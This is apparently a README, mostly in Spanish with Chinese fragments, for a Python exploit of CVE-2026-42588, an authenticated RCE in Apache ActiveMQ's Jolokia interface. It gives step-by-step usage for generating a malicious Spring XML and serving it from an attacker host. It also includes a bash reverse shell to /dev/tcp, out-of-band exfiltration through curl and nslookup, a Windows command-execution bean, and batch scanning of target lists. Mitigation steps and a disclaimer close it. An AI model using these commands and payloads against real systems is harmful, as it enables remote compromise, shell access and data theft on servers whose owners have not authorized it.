
Exploit RCE basado en Python para CVE-2026-42588 dirigido a Apache ActiveMQ Jolokia. Incluye modo de solo verificación, generación de XML malicioso y soporte para reverse shell, OOB y verificación basada en archivos.
Nivel de Gravedad: 🔴 Alto (CVSS 4.0: 8.1)
Tipo de Vulnerabilidad: CWE-94 — Inyección de Código
Versiones Afectadas: Apache ActiveMQ < 5.19.7 / 6.0.0 ≤ version < 6.2.6
Requisito de Explotación: Se necesitan credenciales de autenticación de la Consola Web (por defectoadmin:admin)
CVE-2026-42588 es una vulnerabilidad de ejecución remota de código (RCE) posterior a la autenticación en Apache ActiveMQ.
Bajo la condición de poseer credenciales de autenticación de la Consola Web, un atacante puede invocar el método BrokerService.addNetworkConnector(String) a través de la interfaz puente Jolokia JMX-HTTP (/api/jolokia/), proporcionando un URI de descubrimiento masterslave:// cuidadosamente construido, y utilizando el protocolo xbean: para cargar un archivo de configuración Spring XML remoto, lo que finalmente permite ejecutar comandos arbitrarios del sistema en la JVM del Broker ActiveMQ.
/api/jolokia/ (Jolokia JMX-HTTP Bridge)
│
▼
BrokerService.addNetworkConnector(String)
│
▼
masterslave://?brokerConfig=xbean:http://attacker/malicious.xml
│
▼
XBeanBrokerFactory → ResourceXmlApplicationContext
│
▼
Spring 预实例化所有单例 Bean → 触发 Runtime.exec() / ProcessBuilder
│
▼
🚨 远程代码执行 (RCE)
| Componente | Descripción |
|---|---|
| Superficie de Exposición de Jolokia | La Consola Web de ActiveMQ expone por defecto /api/jolokia/, permitiendo ejecutar la operación exec en el MBean org.apache.activemq:* |
| Método Peligroso | BrokerService.addNetworkConnector(String) recibe y analiza la URI de descubrimiento |
| Cadena de Disparo de URI | El parámetro brokerConfig del protocolo masterslave:// es controlable, y en combinación con el esquema xbean: desencadena la carga del contexto de Spring |
| Punto de Disparo de RCE | XBeanBrokerFactory utiliza ResourceXmlApplicationContext para cargar XML remoto, Spring instancia todos los Beans singleton antes de la validación de configuración |
| Rango de Versiones | Estado |
|---|---|
| Apache ActiveMQ < 5.19.7 | ❌ Afectado |
| 6.0.0 ≤ Apache ActiveMQ < 6.2.6 | ❌ Afectado |
| Apache ActiveMQ ≥ 5.19.7 | ✅ Parcheado |
| Apache ActiveMQ ≥ 6.2.6 | ✅ Parcheado |
/api/jolokia/ es accesible por el atacante (puerto predeterminado 8161)admin:admin).
├── CVE-2026-42588_EXP.py # 漏洞利用脚本(核心)
├── malicious.xml # 恶意 Spring XML 模板
├── requirements.txt # Python 依赖
└── README.md # 本文件
| Archivo | Propósito |
|---|---|
CVE-2026-42588_EXP.py | Script de explotación de vulnerabilidad en Python, admite modo de detección (--check-only) y modo de generación de XML (--gen-xml) |
malicious.xml | Plantilla de configuración Spring XML maliciosa, que incluye dos métodos de explotación: Runtime.exec() y ProcessBuilder |
pip install -r requirements.txt
python CVE-2026-42588_EXP.py --gen-xml -c "touch /tmp/activemq_pwned" > malicious.xml
Iniciar el servicio HTTP en la máquina atacante:
python3 -m http.server 8080
# Usar credenciales predeterminadas admin/admin
python CVE-2026-42588_EXP.py \
-u http://192.168.1.100:8161 \
-x http://your-attacker-ip:8080/malicious.xml
# Usar credenciales personalizadas
python CVE-2026-42588_EXP.py \
-u http://target:8161 \
-U myuser \
-P mypass \
-x http://your-attacker-ip:8080/malicious.xml
python CVE-2026-42588_EXP.py -u http://192.168.1.100:8161 --check-only
usage: CVE-2026-42588_EXP.py [-h] [-u URL] [-U USERNAME] [-P PASSWORD]
[-x XML_URL] [--check-only] [--gen-xml]
[-c COMMAND] [--timeout TIMEOUT] [--no-verify]
Opciones:
-u, --url URL del objetivo ActiveMQ (ej. http://192.168.1.100:8161)
-U, --username Nombre de usuario de la Consola Web (por defecto: admin)
-P, --password Contraseña de la Consola Web (por defecto: admin)
-x, --xml-url URL remota del archivo Spring XML malicioso
--check-only Solo detectar si la interfaz Jolokia es accesible
--gen-xml Generar archivo XML malicioso y mostrarlo en stdout
-c, --command Comando a ejecutar en el objetivo (por defecto: touch /tmp/activemq_pwned)
--timeout Tiempo de espera de solicitud HTTP en segundos (por defecto: 30)
--no-verify Deshabilitar verificación de certificados SSL
1. Generar XML malicioso en la máquina atacante:
python CVE-2026-42588_EXP.py --gen-xml \
-c "/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'" \
> reverse_shell.xml
2. Alojar XML e iniciar escucha:
# Terminal 1: Servicio HTTP
python3 -m http.server 8080
# Terminal 2: Escucha nc
nc -lvnp 4444
3. Disparar la vulnerabilidad:
python CVE-2026-42588_EXP.py \
-u http://target:8161 \
-x http://10.0.0.1:8080/reverse_shell.xml
1. Generar XML malicioso para Windows:
Modificar el comando de ProcessBuilder en malicious.xml a:
<bean class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>cmd.exe</value>
<value>/c</value>
<value>whoami > C:\windows\temp\pwned.txt</value>
</list>
</constructor-arg>
</bean>
2. Alojar y ejecutar:
python CVE-2026-42588_EXP.py \
-u http://windows-target:8161 \
-x http://attacker:8080/malicious_win.xml
# Detección por lotes
for ip in $(cat targets.txt); do
echo "=== Probando $ip ==="
python CVE-2026-42588_EXP.py -u "http://$ip:8161" --check-only --timeout 5
done
┌─────────────────────────────────────────────────────────────────────┐
│ CVE-2026-42588 攻击链 │
├─────────────────────────────────────────────────────────────────────┤
│ │
│ ① 攻击者 ⑤ ActiveMQ Broker (JVM) │
│ ┌──────────┐ ┌──────────────────────────┐ │
│ │ EXP脚本 │──── ② HTTP POST ───────▶│ /api/jolokia/ │ │
│ │ │ Jolokia exec() │ │ │
│ │ │ Basic Auth │ BrokerService. │ │
│ │ │ │ addNetworkConnector( │ │
│ │ │ │ "masterslave://? │ │
│ │ │ │ brokerConfig= │ │
│ │ │ │ xbean:http://... │ │
│ │ │ │ /malicious.xml" │ │
│ └──────────┘ │ ) │ │
│ │ └────────┬─────────────────┘ │
│ │ │ │
│ │ ③ HTTP GET ▼ │
│ │ ┌──────────────────────┐ ┌────────────────────────────┐ │
│ └─▶│ 攻击者 HTTP 服务器 │ │ ResourceXmlApplication │ │
│ │ (python http.server) │ │ Context 加载远程 XML │ │
│ │ │ │ │ │
│ │ malicious.xml │ │ Spring 预实例化 Bean ──▶ │ │
│ └──────────────────────┘ │ Runtime.exec() / │ │
│ │ ProcessBuilder.start() │ │
│ │ │ │ │
│ │ ▼ │ │
│ │ 🚨 RCE 成功 🚨 │ │
│ └────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────┘
Dado que la ejecución del comando ocurre durante la fase de análisis del Spring XML, es asíncrona, y es posible que la respuesta HTTP no muestre directamente el resultado de la ejecución. Se recomienda verificar de las siguientes maneras:
# Máquina atacante
nc -lvnp 4444
# Usar nslookup o curl en el comando para enviar datos
nslookup $(hostname).your-dns-server.com
# Verificar archivo de marca en el objetivo
ls -la /tmp/activemq_pwned
# En el XML malicioso usar
curl http://your-server:8888/$(hostname)
# Mientras tanto, en la máquina atacante escuchar
nc -lvnp 8888
| Línea de Versión | Actualizar a |
|---|---|
| Serie 5.x | 5.19.7 o superior |
| Serie 6.x | 6.2.6 o superior |
Dirección de descarga: https://activemq.apache.org/download
Anuncio de parche: https://lists.apache.org/thread/ns0zktfo16s9ql2mmtqtlb6p6xcs45xm
Si no es posible actualizar temporalmente, se pueden tomar las siguientes medidas para reducir el riesgo:
En conf/jetty.xml, restringir /api/jolokia/ para que solo sea accesible desde localhost, o implementar listas blancas de IP mediante firewall/proxy inverso.
Editar conf/jolokia-access.xml, prohibir la operación exec en el MBean org.apache.activemq:*:
<restrict>
<mbean>
<name>org.apache.activemq:*</name>
<operation>!exec</operation>
</mbean>
</restrict>
Editar conf/jetty-realm.properties, cambiar el predeterminado admin: admin, admin por una contraseña fuerte.
En conf/jetty.xml, comentar la configuración del Context relacionada con la Consola Web.
R: Sí, se necesitan credenciales válidas de la Consola Web de ActiveMQ. Sin embargo, las credenciales predeterminadas son admin/admin, y en la práctica muchos sistemas no cambian la contraseña predeterminada, por lo que el riesgo sigue siendo alto.
R: Esto es normal. La ejecución del comando es asíncrona y ocurre durante la fase de análisis del Spring XML. Se recomienda usar reverse shell, filtración DNS, etc. para verificar. Ver Verificar Explotación Exitosa de la Vulnerabilidad.
R: Sí. Es necesario cambiar el comando en malicious.xml de /bin/sh -c a cmd.exe /c, y ajustar la sintaxis del comando al estilo Windows.
R: El modo de detección solo puede confirmar si la interfaz Jolokia es accesible (condición necesaria para la explotación). Que la interfaz sea accesible no significa que sea explotable, pero sí que existe la posibilidad.
R: No. Después de actualizar a 5.19.7+ o 6.2.6+, la lógica de análisis del parámetro brokerConfig ha sido corregida y ya no acepta el esquema xbean:.
⚠️ Esta herramienta es solo para investigación de seguridad y pruebas autorizadas!
- El acceso no autorizado a sistemas usando esta herramienta es ilegal
- El usuario asume todas las consecuencias y responsabilidades derivadas del uso de esta herramienta
- El autor no se hace responsable por cualquier uso no autorizado, abuso o daños resultantes
- Utilice esta herramienta solo en sus propios sistemas o en sistemas con autorización por escrito
- Cumpla con las leyes locales y las normas éticas profesionales
| Fuente | Enlace |
|---|---|
| Base de Datos de Vulnerabilidades (CVE Detail) | https://www.cybersecurity-help.cz/vdb/vulns/133395/ |
| Anuncio de Vulnerabilidad de Antiy | https://bbs.antiy.cn/thread-210844-1-1.html |
| Detalle de Vulnerabilidad de DDPOC | https://ddpoc.com/DVB-2026-11290.html |
| Sitio Oficial de Apache ActiveMQ | https://activemq.apache.org/ |
| Boletín de Seguridad de Apache | https://lists.apache.org/thread/ns0zktfo16s9ql2mmtqtlb6p6xcs45xm |
CVE-2026-42588 — Solo para Fines Educativos y de Pruebas Autorizadas